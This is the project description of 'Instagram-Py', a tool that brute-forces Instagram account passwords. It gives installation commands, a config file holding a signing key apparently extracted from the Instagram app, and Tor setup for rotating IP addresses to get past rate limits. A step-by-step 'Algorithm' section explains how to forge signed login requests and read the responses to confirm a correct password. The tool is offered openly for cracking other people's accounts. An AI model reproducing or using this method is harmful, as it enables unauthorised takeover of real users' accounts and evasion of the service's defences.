Project description
Instagram-Py
Instagram-py performs slick brute force attack on Instagram without any type of password limitingand also resumes your attack in ease.—DeathSec
Why?
How?
See the ‘Algorimthm’ section down below for more hackery!
What?
Depends on: python3 , tor , requests , requests[socks] , stem
Installation
using pip to get Instagram-py
Make sure you have got the latest version of pip(>= 9.0 and python(>= 3.6)
$ sudo easy_install3 -U pip # you have to install python3-setuptools , update pip $ sudo pip3 install requests --upgrade $ sudo pip3 install requests[socks] $ sudo pip3 install stem $ sudo pip3 install instagram-py $ instagram-py # installed successfully $ # Now lets copy the config file to your hard drive! $ wget -O ~/instapy-config.json "https://git.io/v5DGy"
Configuring Instagram-Py
Open your configuration file found in your home directory , this file is very important located at ~/instapy-config.json , do not change anything except tor configuration
$ vim ~/instapy-config.json # open it with your favorite text editior!
The configuration file looks like this
{ "api-url" : "https://i.instagram.com/api/v1/", "user-agent" : "Instagram 10.26.0 Android (18/4.3; 320dp..... ", "ig-sig-key" : "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178", "ig-sig-version" : "4", "tor" : { "server" : "127.0.0.1", "port" : "9050", "protocol" : "socks5", "control" : { "password" : "", "port" : "9051" } } }
api-url : do not change this unless you know what you are doing
user-agent : do not change this unless you know your stuff
ig-sig_key : never change this unless new release, this is extracted from the instagram apk file
tor : change everything according to your tor server configuration , do not mess up!
Configuring Tor server to open control port
open your tor configuration file usually located at /etc/tor/torrc
$ sudo vim /etc/tor/torrc # open it with your text editor
search for the file for this specific section
## The port on which Tor will listen for local connections from Tor ## controller applications, as documented in control-spec.txt. #ControlPort 9051
uncomment ‘ControlPort’ by deleting the # before ‘ControlPort’ , now save the file and restart your tor server
now you are ready to crack any instagram account , make sure your tor configuration matched ~/instapy-config.json
Usage
Finally , now you can use instagram-py!
$ instagram-py your_account_username path_to_password_list
Algorithm
Instagram-Py uses a very simple algorimthm for checking passwords efficiently , this section is dedicated for those who wish to recreate this program in any other language.
What we do
Step 1: Get the magic cookie , which is used to verify device integrity!
Getting the magic cookie is the simplest job , all we need to do is send a get request to https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid= , where the guid get parameter is a random 32 character string. The random 32 character string can be generator using python’s simple uuid library , to be specific v4 of UUID. So finally we just have to request the url https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=800e88b931bf491fa3b4a7afa4e679eb and get the cookie named csrftoken , if we observe the response header we could see that our cookie only expires next year the same day. So by this we only have to make this request once and can use it for a year! How vulnerable is that?…
Step 2: Build a post request with Instagram’s signature.
This part is simple but may be difficult to setup , first i need to get instagram’s signature which is only present in their free apk from google play , Remember our Strength can be our Weakness , All i have to do reverse engineer the apk and find the signature, lets call it ig_sig.
ig_sig = 4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178 ig_version = 4
Instagram uses HMAC Authentication for login stuff, so lets use python’s hmac library. But first we have to build our body which will be encoded in json for it to actually sign with ig_sig , So the post body looks likes this…
phone_id = <RANDOM 32 CHARACTER STRING SEPERATED WITH - on EQUAL INTERVALS> _csrftoken = <THE MAGIC COOKIE THAT WE GOT!> username = <TARGET ACCOUNT> guid = <RANDOM 32 CHARACTER STRING SEPERATED WITH - on EQUAL INTERVALS> device_id = android-<RANDOM 16 CHARACTER STRING> password = <PASSWORD TO TRY> login_attempt_count = 0
The above will be encoded to JSON , So to test the password we have to post the data to this url https://i.instagram.com/api/v1/accounts/login/ig_sig_key_version=4&signed_body=<SIGNED BODY>.<URL ENCODED JSON DATA> .
<SIGNED BODY>: using HMAC , sign our json encoded data with ig_sig and return a hexa value.
<URL ENCODED JSON DATA>: the same data in json but we url encode so that it goes properly to insta!
So to test a account with username as USERNAME and password with PASSWORD we simply request this url https://i.instagram.com/api/v1/accounts/login/ig_sig_key_version=4&signed_body=bc90e1b7d430f39152e92b4e7d517bfb231dbe0515ed2071dc784cf876e301c3.%7B%22phone_id%22%3A%20%2232abb45c-f605-4fd7-9b5e-674115516b90%22%2C%20%22_csrftoken%22%3A%20%22PyMH2niVQrk41UIBW0lKilleG7GylluQ%22%2C%20%22username%22%3A%20%22USERNAME%22%2C%20%22guid%22%3A%20%2267ca220c-a9eb-4240-b173-2d253808904d%22%2C%20%22device_id%22%3A%20%22android-283abce46cb0a0bcef4%22%2C%20%22password%22%3A%20%22PASSWORD%22%2C%20%22login_attempt_count%22%3A%20%220%22%7D
Take a look how I did it…
Step 3: With the json response and response code , we determine the password is correct or wrong.
if We get response 200 then the login is success but if we get response 400 , We inspect the json data for clues if it is the correct password or invalid request or too many tries. So we inspect the message from instagram json response!
Message = Challenge Required , then the password is correct but instagram got some questions so we must wait until the user logs in and answer the question and if we are lucky they will not change the password and we could login in later(Most of the time people won’t change the password!)
Message = The password you entered is incorrect. , then the password is incorrect for sure , try another.
Message as something like word invalid in it then , some other error so just try again, can happen because of wordlist encoding error which i ignored because all the worldlist have encoding error!
Message = Too many tries , Time to change our ip and loop but we don’t want to change our magic cookie
Thats it you just hacked instagram with a very simple algorithm!
